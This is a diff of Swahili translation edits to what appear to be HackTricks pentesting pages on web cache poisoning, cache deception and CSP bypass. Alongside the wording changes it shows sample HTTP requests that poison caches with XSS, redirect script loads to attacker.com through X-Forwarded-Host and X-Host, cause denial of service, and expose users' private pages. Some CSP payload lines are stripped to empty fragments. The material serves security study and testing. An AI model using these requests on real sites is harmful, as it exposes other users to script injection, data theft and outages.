+Kwa kawaida, Sera ya Usalama wa Maudhui (CSP) ya nyongeza ya Chrome ingepunguza udhaifu kama huu. Hata hivyo, kutokana na **kuondolewa kwa CSP na ‘unsafe-eval’** na matumizi ya mbinu za usimamizi wa DOM za jQuery (ambazo zinatumia [`globalEval()`](https://api.jquery.com/jquery.globaleval/) kupitisha scripts kwa [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) wakati wa kuingiza DOM), unyakuzi bado unawezekana.
Ingawa udhaifu huu ni muhimu, unyakuzi wake kwa kawaida unategemea mwingiliano wa mtumiaji: kutembelea ukurasa, kuingiza mzigo wa XSS, na kuamsha kitufe cha “Ongeza”.
diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md
index b788b07df..e90463357 100644
--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@@ -16,8 +16,8 @@ Uharibifu wa cache unalenga kubadilisha cache ya upande wa mteja ili kulazimisha
Utendaji wa shambulio la uharibifu wa cache unajumuisha hatua kadhaa:
1. **Utambuzi wa Ingizo Lisilo na Funguo**: Hizi ni vigezo ambavyo, ingawa havihitajiki kwa ombi kuhifadhiwa kwenye cache, vinaweza kubadilisha jibu linalotolewa na seva. Kutambua vigezo hivi ni muhimu kwani vinaweza kutumika kubadilisha cache.
-2. **Kutatua Vigezo Visivyo na Funguo**: Baada ya kutambua vigezo visivyo na funguo, hatua inayofuata ni kubaini jinsi ya kutumia vibaya vigezo hivi ili kubadilisha jibu la seva kwa njia inayomfaidi mshambuliaji.
-3. **Kuhakikisha Jibu Lililochafuliwa Linahifadhiwa Katika Cache**: Hatua ya mwisho ni kuhakikisha kwamba jibu lililobadilishwa linahifadhiwa kwenye cache. Kwa njia hii, mtumiaji yeyote anayepata ukurasa ulioathiriwa wakati cache imechafuliwa atapata jibu lililochafuliwa.
+2. **Kutatua Vigezo Visivyo na Funguo**: Baada ya kutambua vigezo visivyo na funguo, hatua inayofuata ni kubaini jinsi ya kutumia vibaya vigezo hivi ili kubadilisha jibu la seva kwa njia inayonufaisha mshambuliaji.
+3. **Kuhakikisha Jibu Lililochafuliwa Linahifadhiwa**: Hatua ya mwisho ni kuhakikisha kwamba jibu lililobadilishwa linahifadhiwa kwenye cache. Kwa njia hii, mtumiaji yeyote anayeingia kwenye ukurasa ulioathiriwa wakati cache imechafuliwa atapata jibu lililochafuliwa.
### Ugunduzi: Angalia vichwa vya HTTP
@@ -25,7 +25,7 @@ Kawaida, wakati jibu lime **hifadhiwa kwenye cache** kutakuwa na **kichwa kinach
### Ugunduzi: Kihesabu makosa ya caching
-Ikiwa unafikiria kwamba jibu linahifadhiwa kwenye cache, unaweza kujaribu **kutuma maombi yenye kichwa kibaya**, ambacho kinapaswa kujibiwa kwa **nambari ya hali 400**. Kisha jaribu kufikia ombi kawaida na ikiwa **jibu ni nambari ya hali 400**, unajua ni hatari (na unaweza hata kufanya DoS).
+Ikiwa unafikiria kwamba jibu linahifadhiwa kwenye cache, unaweza kujaribu **kutuma maombi yenye kichwa kibaya**, ambacho kinapaswa kujibiwa kwa **nambari ya hali 400**. Kisha jaribu kufikia ombi hilo kawaida na ikiwa **jibu ni nambari ya hali 400**, unajua lina udhaifu (na unaweza hata kufanya DoS).
Unaweza kupata chaguzi zaidi katika:
@@ -43,27 +43,27 @@ Unaweza kutumia [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c
```
### Pata jibu hatari kutoka kwa seva ya nyuma
-Kwa kutumia parameter/header iliyotambuliwa angalia jinsi inavyosafishwa na **wapi** inavyo **onyeshwa** au kuathiri jibu kutoka kwa header. Je, unaweza kuitumia kwa njia yoyote (fanya XSS au upakuaji wa msimbo wa JS unaodhibitiwa na wewe? fanya DoS?...)
+Kwa kutumia parameter/header iliyotambuliwa angalia jinsi inavyosafishwa na wapi inavyoakisi au kuathiri jibu kutoka kwa header. Je, unaweza kuitumia kwa njia yoyote (fanya XSS au upakuaji wa msimbo wa JS unaodhibitiwa na wewe? fanya DoS?...)
### Pata jibu lililohifadhiwa
-Mara tu unapokuwa umekutambua **ukurasa** ambao unaweza kutumiwa vibaya, ni **parameter**/**header** ipi ya kutumia na **jinsi** ya **kuutumia** vibaya, unahitaji kupata ukurasa huo uhifadhiwe. Kulingana na rasilimali unayojaribu kupata kwenye cache hii inaweza kuchukua muda, unaweza kuhitaji kujaribu kwa sekunde kadhaa.
+Mara tu unapokuwa umekutambua **ukurasa** ambao unaweza kutumiwa vibaya, ni **parameter**/**header** ipi ya kutumia na **jinsi** ya kuutumia vibaya, unahitaji kupata ukurasa huo uhifadhiwe. Kulingana na rasilimali unayojaribu kupata kwenye cache hii inaweza kuchukua muda, unaweza kuhitaji kujaribu kwa sekunde kadhaa.
-Header **`X-Cache`** katika jibu inaweza kuwa muhimu sana kwani inaweza kuwa na thamani **`miss`** wakati ombi halikuhifadhiwa na thamani **`hit`** wakati imehifadhiwa.\
-Header **`Cache-Control`** pia ni ya kuvutia kujua ikiwa rasilimali inahifadhiwa na wakati itakuwa wakati wa pili rasilimali itahifadhiwa tena: `Cache-Control: public, max-age=1800`
+Header **`X-Cache`** katika jibu inaweza kuwa muhimu sana kwani inaweza kuwa na thamani **`miss`** wakati ombi halijahifadhiwa na thamani **`hit`** wakati imehifadhiwa.\
+Header **`Cache-Control`** pia ni ya kuvutia kujua ikiwa rasilimali inahifadhiwa na wakati itakuwa mara ya pili rasilimali hiyo itahifadhiwa tena: `Cache-Control: public, max-age=1800`
Header nyingine ya kuvutia ni **`Vary`**. Header hii mara nyingi hutumiwa ku **onyesha headers za ziada** ambazo zinachukuliwa kama **sehemu ya ufunguo wa cache** hata kama kawaida hazina ufunguo. Hivyo, ikiwa mtumiaji anajua `User-Agent` wa mwathirika anayelenga, anaweza kuharibu cache kwa watumiaji wanaotumia `User-Agent` hiyo maalum.
Header nyingine inayohusiana na cache ni **`Age`**. Inafafanua wakati katika sekunde kitu kimekuwa kwenye cache ya proxy.
-Unapohifadhi ombi, kuwa **makini na headers unazotumia** kwa sababu baadhi yao wanaweza **kutumika bila kutarajiwa** kama **keyed** na **mwathirika atahitaji kutumia header hiyo hiyo**. Daima **jaribu** Uharibu wa Cache na **vivinjari tofauti** ili kuangalia ikiwa inafanya kazi.
+Unapohifadhi ombi, kuwa **makini na headers unazotumia** kwa sababu baadhi yao wanaweza kutumika **kwa njia isiyotarajiwa** kama **keyed** na **mwathirika atahitaji kutumia header hiyo hiyo**. Daima **jaribu** Upoaji wa Cache na **vivinjari tofauti** ili kuangalia ikiwa inafanya kazi.
## Mifano ya Kutumia
### Mfano rahisi zaidi
-Header kama `X-Forwarded-For` inarudishwa katika jibu bila kusafishwa.\
-Unaweza kutuma payload ya msingi ya XSS na kuharibu cache ili kila mtu anayeingia kwenye ukurasa atakuwa na XSS:
+Header kama `X-Forwarded-For` inakisiwa katika jibu bila kusafishwa.\
+Unaweza kutuma payload ya msingi ya XSS na kuharibu cache ili kila mtu anayefikia ukurasa atakuwa na XSS:
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
@@ -79,13 +79,13 @@ cache-poisoning-to-dos.md
### Using web cache poisoning to exploit cookie-handling vulnerabilities
-Cookies zinaweza pia kuakisiwa kwenye jibu la ukurasa. Ikiwa unaweza kuitumia vibaya kusababisha XSS kwa mfano, unaweza kuwa na uwezo wa kutumia XSS katika wateja kadhaa wanaopakia jibu la cache lenye uharibifu.
+Cookies pia zinaweza kuakisiwa kwenye jibu la ukurasa. Ikiwa unaweza kuitumia vibaya kusababisha XSS kwa mfano, unaweza kuwa na uwezo wa kutumia XSS katika wateja kadhaa wanaopakia jibu la cache lenye uharibifu.
```markup
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
-Kumbuka kwamba ikiwa cookie iliyo hatarini inatumika sana na watumiaji, maombi ya kawaida yatakuwa yanasafisha cache.
+Kumbuka kwamba ikiwa cookie iliyo hatarini inatumika sana na watumiaji, maombi ya kawaida yatakuwa yakisafisha cache.
### Kutengeneza tofauti na vichomozi, urekebishaji na nukta
@@ -107,7 +107,7 @@ cache-poisoning-via-url-discrepancies.md
### Kutumia vichwa vingi ili kutumia udhaifu wa kuambukiza cache ya wavuti
-Wakati mwingine utahitaji **kutumia ingizo kadhaa zisizo na funguo** ili uweze kutumia cache. Kwa mfano, unaweza kupata **Open redirect** ikiwa utaweka `X-Forwarded-Host` kwa kikoa kinachodhibitiwa na wewe na `X-Forwarded-Scheme` kwa `http`. **Ikiwa** **seva** in **apeleka** maombi yote ya **HTTP** **kwenda HTTPS** na kutumia kichwa `X-Forwarded-Scheme` kama jina la kikoa kwa ajili ya kuhamasisha. Unaweza kudhibiti mahali ukurasa unapoelekezwa na kuhamasisha.
+Wakati mwingine utahitaji **kutumia ingizo kadhaa zisizo na funguo** ili uweze kutumia cache. Kwa mfano, unaweza kupata **Open redirect** ikiwa utaweka `X-Forwarded-Host` kwa kikoa kinachodhibitiwa na wewe na `X-Forwarded-Scheme` kuwa `http`. **Ikiwa** **seva** in **apeleka** maombi yote ya **HTTP** **kwenda HTTPS** na kutumia kichwa `X-Forwarded-Scheme` kama jina la kikoa kwa ajili ya kuhamasisha. Unaweza kudhibiti mahali ukurasa unapoelekezwa na kuhamasisha.
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@@ -125,7 +125,7 @@ X-Host: attacker.com
```
### Fat Get
-Tuma ombi la GET na ombi katika URL na katika mwili. Ikiwa seva ya wavuti inatumia ile kutoka kwa mwili lakini seva ya cache inahifadhi ile kutoka kwa URL, mtu yeyote anayefikia URL hiyo atatumia parameter kutoka kwa mwili. Kama ilivyo katika vuln ambayo James Kettle alipata kwenye tovuti ya Github:
+Tuma ombi la GET na ombi katika URL na katika mwili. Ikiwa seva ya wavuti inatumia ile kutoka kwa mwili lakini seva ya cache inahifadhi ile kutoka kwa URL, mtu yeyote anayefikia URL hiyo atatumia parameter kutoka kwa mwili. Kama ile vuln James Kettle alipata kwenye tovuti ya Github:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@@ -168,7 +168,7 @@ GitLab inatumia GCP buckets kuhifadhi maudhui ya statiki. **GCP Buckets** inasai
### Rack Middleware (Ruby on Rails)
-Katika programu za Ruby on Rails, Rack middleware mara nyingi hutumiwa. Lengo la msimbo wa Rack ni kuchukua thamani ya kichwa cha **`x-forwarded-scheme`** na kuipatia kama mpango wa ombi. Wakati kichwa `x-forwarded-scheme: http` kinatumwa, uhamasishaji wa 301 unafanyika kwa eneo lile lile, huenda kusababisha Denial of Service (DoS) kwa rasilimali hiyo. Zaidi ya hayo, programu inaweza kutambua kichwa cha `X-forwarded-host` na kuwahamisha watumiaji kwa mwenyeji uliotajwa. Tabia hii inaweza kusababisha kupakia faili za JavaScript kutoka kwa seva ya mshambuliaji, ikileta hatari ya usalama.
+Katika programu za Ruby on Rails, Rack middleware mara nyingi hutumiwa. Lengo la msimbo wa Rack ni kuchukua thamani ya kichwa cha **`x-forwarded-scheme`** na kuipatia kama mpango wa ombi. Wakati kichwa `x-forwarded-scheme: http` kinatumwa, uhamasishaji wa 301 unafanyika kwa eneo lile lile, huenda kusababisha Denial of Service (DoS) kwa rasilimali hiyo. Zaidi ya hayo, programu inaweza kutambua kichwa cha `X-forwarded-host` na kuwahamisha watumiaji kwa mwenyeji aliyetajwa. Tabia hii inaweza kusababisha kupakia faili za JavaScript kutoka kwa seva ya mshambuliaji, ikileta hatari ya usalama.
### 403 and Storage Buckets
@@ -176,7 +176,7 @@ Cloudflare hapo awali ilihifadhi majibu ya 403. Kujaribu kufikia S3 au Azure Sto
### Injecting Keyed Parameters
-Caches mara nyingi hujumuisha parameters maalum za GET katika ufunguo wa cache. Kwa mfano, Varnish ya Fastly ilihifadhi parameter ya `size` katika maombi. Hata hivyo, ikiwa toleo lililosajiliwa la parameter (mfano, `siz%65`) lilitumwa pia na thamani isiyo sahihi, ufunguo wa cache ungejengwa kwa kutumia parameter sahihi ya `size`. Hata hivyo, backend ingepitia thamani katika parameter iliyoandikwa kwa URL. Kuandika upya parameter ya pili ya `size` kulisababisha kuondolewa kwake na cache lakini kutumika na backend. Kuweka thamani ya 0 kwa parameter hii kulisababisha kosa la 400 Bad Request ambalo linaweza kuhifadhiwa.
+Caches mara nyingi hujumuisha parameters maalum za GET katika ufunguo wa cache. Kwa mfano, Varnish ya Fastly ilihifadhi parameter ya `size` katika maombi. Hata hivyo, ikiwa toleo lililowekwa URL la parameter (mfano, `siz%65`) lilitumwa pia na thamani isiyo sahihi, ufunguo wa cache ungejengwa kwa kutumia parameter sahihi ya `size`. Hata hivyo, backend ingepitia thamani katika parameter iliyoandikwa URL. Kuandika URL ya parameter ya pili ya `size` kulisababisha kuondolewa kwake na cache lakini kutumika na backend. Kuweka thamani ya 0 kwa parameter hii kulisababisha kosa la 400 Bad Request ambalo linaweza kuhifadhiwa.
### User Agent Rules
@@ -207,7 +207,7 @@ Mambo mengine ya kujaribu:
Mfano mwingine wazi sana unaweza kupatikana katika andiko hili: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
Katika mfano, inaelezwa kwamba ikiwa unaleta ukurasa usio na kuwepo kama _http://www.example.com/home.php/non-existent.css_ maudhui ya _http://www.example.com/home.php_ (**pamoja na taarifa nyeti za mtumiaji**) yatarudishwa na seva ya cache itahifadhi matokeo.\
-Kisha, **mshambuliaji** anaweza kufikia _http://www.example.com/home.php/non-existent.css_ katika kivinjari chao na kuangalia **taarifa za siri** za watumiaji ambao walifika hapo awali.
+Kisha, **mshambuliaji** anaweza kufikia _http://www.example.com/home.php/non-existent.css_ katika kivinjari chao na kuona **taarifa za siri** za watumiaji ambao walifika hapo awali.
Kumbuka kwamba **cache proxy** inapaswa kuwa **imewekwa** kuhifadhi faili **kulingana** na **extension** ya faili (_.css_) na si kulingana na aina ya maudhui. Katika mfano _http://www.example.com/home.php/non-existent.css_ itakuwa na aina ya maudhui `text/html` badala ya aina ya mime `text/css` (ambayo inatarajiwa kwa faili ya _.css_).
diff --git a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md
index eb9b6b52d..1268c9c2d 100644
--- a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md
+++ b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md
@@ -7,7 +7,7 @@
- **HTTP Header Oversize (HHO)**
-Tuma ombi lenye ukubwa wa kichwa mkubwa kuliko ule unaou supported na seva ya wavuti lakini mdogo kuliko ule unaou supported na seva ya cache. Seva ya wavuti itajibu kwa jibu la 400 ambalo linaweza kuhifadhiwa:
+Tuma ombi lenye ukubwa wa kichwa mkubwa kuliko ule unaounga mkono na seva ya wavuti lakini mdogo kuliko ule unaounga mkono na seva ya cache. Seva ya wavuti itajibu kwa jibu la 400 ambalo linaweza kuhifadhiwa:
```
GET / HTTP/1.1
Host: redacted.com
@@ -44,13 +44,13 @@ Invalid Header
```
- **HTTP Method Override Attack (HMO)**
-Ikiwa seva inasaidia kubadilisha njia ya HTTP kwa kutumia vichwa kama `X-HTTP-Method-Override`, `X-HTTP-Method` au `X-Method-Override`. Inawezekana kuomba ukurasa halali kwa kubadilisha njia ili seva isiupe, hivyo jibu mbaya linahifadhiwa:
+Ikiwa seva inasaidia kubadilisha njia ya HTTP kwa kutumia vichwa kama `X-HTTP-Method-Override`, `X-HTTP-Method` au `X-Method-Override`. Inawezekana kuomba ukurasa halali kwa kubadilisha njia ili seva isiupe, hivyo jibu mbaya linapata uhifadhi:
```
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
```
-- **Bandari Isiyo na Funguo**
+- **Unkeyed Port**
Ikiwa bandari katika kichwa cha Host inarudishwa katika jibu na haijajumuishwa katika ufunguo wa cache, inawezekana kuielekeza kwenye bandari isiyotumika:
```
@@ -92,7 +92,7 @@ Not Found
```
- **Path normalization**
-Baadhi ya kurasa zitarudisha nambari za makosa zinapotuma data URLencode katika njia, hata hivyo, seva ya cache itafanya URLdecode njia na kuhifadhi jibu kwa njia ya URLdecoded:
+Baadhi ya kurasa zitarudisha nambari za makosa zinapotuma data URLencode katika njia, hata hivyo, seva ya cache itafanya URLdecode njia na kuhifadhi jibu kwa njia iliyofanywa URLdecode:
```
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
index 02fc9d79f..58f15d233 100644
--- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
+++ b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
@@ -5,22 +5,22 @@
Hii ni muhtasari wa mbinu zilizopendekezwa katika chapisho [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) ili kutekeleza mashambulizi ya cache poisoning **kwa kutumia tofauti kati ya cache proxies na seva za wavuti.**
> [!NOTE]
-> Lengo la shambulizi hili ni **kufanya seva ya cache ifikirie kuwa rasilimali ya statiki inachukuliwa** ili iweze kuikumbuka wakati seva ya cache inahifadhi kama ufunguo wa cache sehemu ya njia lakini seva ya wavuti inajibu kwa kutatua njia nyingine. Seva ya wavuti itatatua njia halisi ambayo itakuwa ikipakia ukurasa wa dynamic (ambao unaweza kuhifadhi taarifa nyeti kuhusu mtumiaji, mzigo mbaya kama XSS au kuhamasisha kupakia faili ya JS kutoka kwenye tovuti ya washambuliaji kwa mfano).
+> Lengo la shambulizi hili ni **kufanya seva ya cache ifikirie kuwa rasilimali ya statiki inachukuliwa** ili iweze kuikumbuka wakati seva ya cache inahifadhi kama ufunguo wa cache sehemu ya njia lakini seva ya wavuti inajibu kwa kutatua njia nyingine. Seva ya wavuti itatatua njia halisi ambayo itakuwa ikipakia ukurasa wa dynamic (ambao unaweza kuhifadhi taarifa nyeti kuhusu mtumiaji, mzigo mbaya kama XSS au kuhamasisha kupakia faili ya JS kutoka tovuti ya washambuliaji kwa mfano).
## Delimiters
-**URL delimiters** hutofautiana kulingana na mfumo na seva, ikihusisha jinsi maombi yanavyopangwa na majibu yanavyoshughulikiwa. Baadhi ya delimiters za asili za kawaida ni:
+**URL delimiters** hutofautiana kulingana na mfumo na seva, na kuathiri jinsi maombi yanavyopangwa na majibu yanavyoshughulikiwa. Baadhi ya delimiters za asili za kawaida ni:
- **Semicolon**: Inatumika katika Spring kwa mabadiliko ya matrix (e.g. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`).
- **Dot**: Inaelezea muundo wa majibu katika Ruby on Rails (e.g. `/MyAccount.css` → `/MyAccount`)
- **Null Byte**: Inakata njia katika OpenLiteSpeed (e.g. `/MyAccount%00aaa` → `/MyAccount`).
- **Newline Byte**: Inatenganisha vipengele vya URL katika Nginx (e.g. `/users/MyAccount%0aaaa` → `/account/MyAccount`).
-Delimiters maalum zinaweza kupatikana kufuatia mchakato huu:
+Delimiters maalum zaidi zinaweza kupatikana kufuatia mchakato huu:
-- **Hatua ya 1**: Tambua maombi yasiyoweza kuhifadhiwa na uyatumie kufuatilia jinsi URLs zenye delimiters zinazowezekana zinavyoshughulikiwa.
-- **Hatua ya 2**: Ongeza viambatisho vya nasibu kwenye njia na linganisha jibu la seva ili kubaini kama herufi inafanya kazi kama delimiter.
-- **Hatua ya 3**: Ingiza delimiters zinazowezekana kabla ya viambatisho vya nasibu ili kuona kama jibu linabadilika, ikionyesha matumizi ya delimiter.
+- **Hatua ya 1**: Tambua maombi yasiyoweza kuhifadhiwa kwenye cache na uyatumie kufuatilia jinsi URLs zenye delimiters zinazowezekana zinavyoshughulikiwa.
+- **Hatua ya 2**: Ongeza viambatisho vya nasibu kwenye njia na linganisha jibu la seva ili kubaini ikiwa herufi inafanya kazi kama delimiter.
+- **Hatua ya 3**: Ingiza delimiters zinazowezekana kabla ya kiambatisho cha nasibu ili kuona ikiwa jibu linabadilika, kuashiria matumizi ya delimiter.
## Normalization & Encodings
@@ -29,24 +29,24 @@ Delimiters maalum zinaweza kupatikana kufuatia mchakato huu:
### **Encodings**
-Seva tofauti za HTTP na proxies kama Nginx, Node, na CloudFront zinatafsiri delimiters kwa njia tofauti, zikileta kutokuelewana kati ya CDNs na seva za asili ambazo zinaweza kutumiwa. Kwa mfano, ikiwa seva ya wavuti inafanya mabadiliko haya `/myAccount%3Fparam` → `/myAccount?param` lakini seva ya cache inahifadhi kama ufunguo njia `/myAccount%3Fparam`, kuna kutokuelewana.
+Seva tofauti za HTTP na proxies kama Nginx, Node, na CloudFront zinatafsiri delimiters kwa njia tofauti, na kusababisha kutokuelewana kati ya CDNs na seva za asili ambazo zinaweza kutumiwa. Kwa mfano, ikiwa seva ya wavuti inafanya mabadiliko haya `/myAccount%3Fparam` → `/myAccount?param` lakini seva ya cache inahifadhi kama ufunguo njia `/myAccount%3Fparam`, kuna kutokuelewana.
-Njia moja ya kuangalia kutokuelewana hizi ni kutuma maombi ya URL ikitafsiri herufi tofauti baada ya kupakia njia bila tafsiri yoyote na kuangalia kama jibu la njia iliyotafsiriwa lilitoka kwenye jibu la cache.
+Njia moja ya kuangalia kutokuelewana hizi ni kutuma maombi ya URL kuandika herufi tofauti baada ya kupakia njia bila uandishi wowote na kuangalia ikiwa jibu la njia iliyoundwa lilitoka kwenye jibu la cache.
### Dot segment
-Kuweka sawa kwa njia ambapo dots zinahusika pia ni ya kuvutia sana kwa mashambulizi ya cache poisoning. Kwa mfano, `/static/../home/index` au `/aaa..\home/index`, baadhi ya seva za cache zitakumbuka hizi njia kama funguo wakati nyingine zinaweza kutatua njia na kutumia `/home/index` kama funguo ya cache.\
-Kama ilivyokuwa hapo awali, kutuma maombi haya ya aina na kuangalia kama jibu lilipatikana kutoka kwenye cache husaidia kubaini kama jibu kwa `/home/index` ni jibu lililotumwa wakati hizo njia zinapohitajika.
+Kuweka sawa kwa njia ambapo dots zinahusika pia ni ya kuvutia sana kwa mashambulizi ya cache poisoning. Kwa mfano, `/static/../home/index` au `/aaa..\home/index`, baadhi ya seva za cache zitakumbuka hizi njia na wenyewe kama funguo wakati wengine wanaweza kutatua njia na kutumia `/home/index` kama funguo ya cache.\
+Kama ilivyokuwa hapo awali, kutuma maombi ya aina hii na kuangalia ikiwa jibu lilipatikana kutoka kwenye cache husaidia kubaini ikiwa jibu kwa `/home/index` ni jibu lililotumwa wakati hizo njia zinapohitajika.
## Static Resources
-Seva kadhaa za cache daima zitakumbuka jibu ikiwa itatambuliwa kama statiki. Hii inaweza kuwa kwa sababu ya:
+Seva kadhaa za cache daima zitakumbuka jibu ikiwa inatambuliwa kama statiki. Hii inaweza kuwa kwa sababu ya:
- **Kiambatisho**: Cloudflare daima itakumbuka faili zenye viambatisho vifuatavyo: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
- Inawezekana kulazimisha cache kuhifadhi jibu la dynamic kwa kutumia delimiter na kiambatisho cha statiki kama ombi kwa `/home$image.png` itakumbuka `/home$image.png` na seva ya asili itajibu na `/home`
-- **Mikoa ya statiki inayojulikana**: Mikoa ifuatayo ina faili za statiki na hivyo majibu yao yanapaswa kuhifadhiwa: /static, /assets, /wp-content, /media, /templates, /public, /shared
+- **Mikoa ya statiki inayojulikana**: Mikoa ifuatayo ina faili za statiki na kwa hivyo jibu lao linapaswa kuhifadhiwa: /static, /assets, /wp-content, /media, /templates, /public, /shared
- Inawezekana kulazimisha cache kuhifadhi jibu la dynamic kwa kutumia delimiter, mkoa wa statiki na dots kama: `/home/..%2fstatic/something` itakumbuka `/static/something` na jibu litakuwa `/home`
- **Mikoa ya statiki + dots**: Ombi kwa `/static/..%2Fhome` au kwa `/static/..%5Chome` linaweza kuhifadhiwa kama lilivyo lakini jibu linaweza kuwa `/home`
-- **Faili za statiki:** Faili maalum fulani daima huhifadhiwa kama `/robots.txt`, `/favicon.ico`, na `/index.html`. Ambazo zinaweza kutumiwa vibaya kama `/home/..%2Frobots.txt` ambapo cache inaweza kuhifadhi `/robots.txt` na seva ya asili inajibu kwa `/home`.
+- **Faili za statiki:** Faili maalum zingine daima zinakumbukwa kama `/robots.txt`, `/favicon.ico`, na `/index.html`. Ambazo zinaweza kutumiwa vibaya kama `/home/..%2Frobots.txt` ambapo cache inaweza kuhifadhi `/robots.txt` na seva ya asili inajibu kwa `/home`.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md
index 738c03c8f..23c3841a7 100644
--- a/src/pentesting-web/content-security-policy-csp-bypass/README.md
+++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md
@@ -6,7 +6,7 @@
Content Security Policy (CSP) inatambulika kama teknolojia ya kivinjari, hasa inalenga **kulinda dhidi ya mashambulizi kama vile cross-site scripting (XSS)**. Inafanya kazi kwa kufafanua na kuelezea njia na vyanzo ambavyo rasilimali zinaweza kupakuliwa kwa usalama na kivinjari. Rasilimali hizi zinajumuisha anuwai ya vipengele kama picha, fremu, na JavaScript. Kwa mfano, sera inaweza kuruhusu upakuaji na utekelezaji wa rasilimali kutoka kwa eneo moja (self), ikiwa ni pamoja na rasilimali za ndani na utekelezaji wa msimbo wa mfuatano kupitia kazi kama `eval`, `setTimeout`, au `setInterval`.
-Utekelezaji wa CSP unafanywa kupitia **response headers** au kwa kuingiza **meta elements kwenye ukurasa wa HTML**. Kufuatia sera hii, vivinjari vinatekeleza kwa nguvu masharti haya na mara moja kuzuia uvunjaji wowote ulio gundulika.
+Utekelezaji wa CSP unafanywa kupitia **vichwa vya majibu** au kwa kuingiza **vipengele vya meta kwenye ukurasa wa HTML**. Kufuatia sera hii, vivinjari vinatekeleza kwa nguvu masharti haya na mara moja kuzuia uvunjaji wowote ulio gundulika.
- Implemented via response header:
```
@@ -25,7 +25,7 @@ CSP inaweza kulazimishwa au kufuatiliwa kwa kutumia vichwa hivi:
### Defining Resources
-CSP inakandamiza vyanzo vya kupakia maudhui ya kazi na yasiyo ya kazi, ikidhibiti vipengele kama utekelezaji wa JavaScript wa ndani na matumizi ya `eval()`. Sera mfano ni:
+CSP inakandamiza vyanzo vya kupakia maudhui ya kazi na yasiyo ya kazi, ikidhibiti mambo kama utekelezaji wa JavaScript wa ndani na matumizi ya `eval()`. Sera mfano ni:
```bash
default-src 'none';
img-src 'self';
@@ -69,8 +69,8 @@ object-src 'none';
- `'unsafe-eval'`: Inaruhusu matumizi ya `eval()` na mbinu zinazofanana, haipendekezwi kwa sababu za usalama.
- `'unsafe-hashes'`: Inaruhusu wakala maalum wa matukio ya ndani.
- `'unsafe-inline'`: Inaruhusu matumizi ya rasilimali za ndani kama `
```
### strict-dynamic
-Ikiwa unaweza kwa namna fulani kufanya **kodiyako ya JS inayoruhusiwa kuunda tagi mpya ya script** katika DOM na kodiyako ya JS, kwa sababu script inayoruhusiwa inaunda hiyo, **tagi mpya ya script itaruhusiwa kutekelezwa**.
+Ikiwa unaweza kwa namna fulani kufanya **kodhi ya JS iliyoruhusiwa kuunda tagi mpya ya script** katika DOM na kodhi yako ya JS, kwa sababu script iliyoruhusiwa inaunda hiyo, **tagi mpya ya script itaruhusiwa kutekelezwa**.
### Wildcard (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
-Kipande kinachofanya kazi:
+Kipakia kinachofanya kazi:
```markup
"/>'>
"/>'>
@@ -153,21 +153,21 @@ Inafanya kazi payloads:
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
-Ikiwa unaweza kupakia faili ya JS unaweza kupita hii CSP:
+Ikiwa unaweza kupakia faili ya JS unaweza kupita CSP hii:
-Kifaa kinachofanya kazi:
+Payload inayofanya kazi:
```markup
"/>'>
```
Hata hivyo, kuna uwezekano mkubwa kwamba seva inafanya **uthibitishaji wa faili iliyopakiwa** na itaruhusu tu **kupakia aina fulani za faili**.
-Zaidi ya hayo, hata kama ungeweza kupakia **kodia ya JS ndani** ya faili kwa kutumia kiambatisho kinachokubalika na seva (kama: _script.png_), hii haitatosha kwa sababu baadhi ya seva kama seva ya apache **huchagua aina ya MIME ya faili kulingana na kiambatisho** na vivinjari kama Chrome vitakataa **kutekeleza kodia ya Javascript** ndani ya kitu ambacho kinapaswa kuwa picha. "Kwa matumaini", kuna makosa. Kwa mfano, kutoka kwenye CTF nilijifunza kwamba **Apache hajui** kiambatisho _**.wave**_, kwa hivyo haikihudumu na **aina ya MIME kama audio/\***.
+Zaidi ya hayo, hata kama ungeweza kupakia **kodii ya JS ndani** ya faili kwa kutumia kiambatisho kinachokubalika na seva (kama: _script.png_), hii haitatosha kwa sababu baadhi ya seva kama seva ya apache **huchagua aina ya MIME ya faili kulingana na kiambatisho** na vivinjari kama Chrome vitakataa **kutekeleza kodii ya Javascript** ndani ya kitu ambacho kinapaswa kuwa picha. "Kwa matumaini", kuna makosa. Kwa mfano, kutoka kwenye CTF nilijifunza kwamba **Apache hajui** kiambatisho _**.wave**_, kwa hivyo haitoi na **aina ya MIME kama audio/\***.
